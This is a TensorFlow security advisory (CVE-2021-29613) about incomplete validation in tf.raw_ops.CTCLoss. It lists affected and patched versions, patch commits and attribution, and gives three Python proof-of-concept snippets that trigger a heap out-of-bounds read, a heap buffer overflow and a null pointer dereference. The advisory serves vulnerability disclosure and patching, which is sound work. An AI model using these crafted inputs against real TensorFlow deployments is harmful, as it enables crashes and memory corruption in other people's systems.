Incomplete validation in `tf.raw_ops.CTCLoss`

High **mihaimaruseac** published **GHSA-vvg4-vgrv-xfr7** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap:

```
import tensorflow as tf

inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)
labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)
labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)
sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
                   labels_values=labels_values, sequence_length=sequence_length,
                   preprocess_collapse_repeated=True, ctc_merge_repeated=False,
                   ignore_longer_outputs_than_inputs=True)
```

An attacker can also trigger a heap buffer overflow:

```
import tensorflow as tf

inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)
labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)
labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
                   labels_values=labels_values, sequence_length=sequence_length,
                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,
                   ignore_longer_outputs_than_inputs=False)
```

Finally, an attacker can trigger a null pointer dereference:

```
import tensorflow as tf

inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)
labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)
labels_values = tf.constant([], shape=[0], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
                   labels_values=labels_values, sequence_length=sequence_length,
                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,
                   ignore_longer_outputs_than_inputs=False)
```

Patches

We have patched the issue in GitHub commit14607c0707040d775e06b6817325640cb4b5864c followed by GitHub commit 4504a081af71514bb1828048363e6540f797005b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

High

CVE ID

CVE-2021-29613

Weaknesses

No CWEs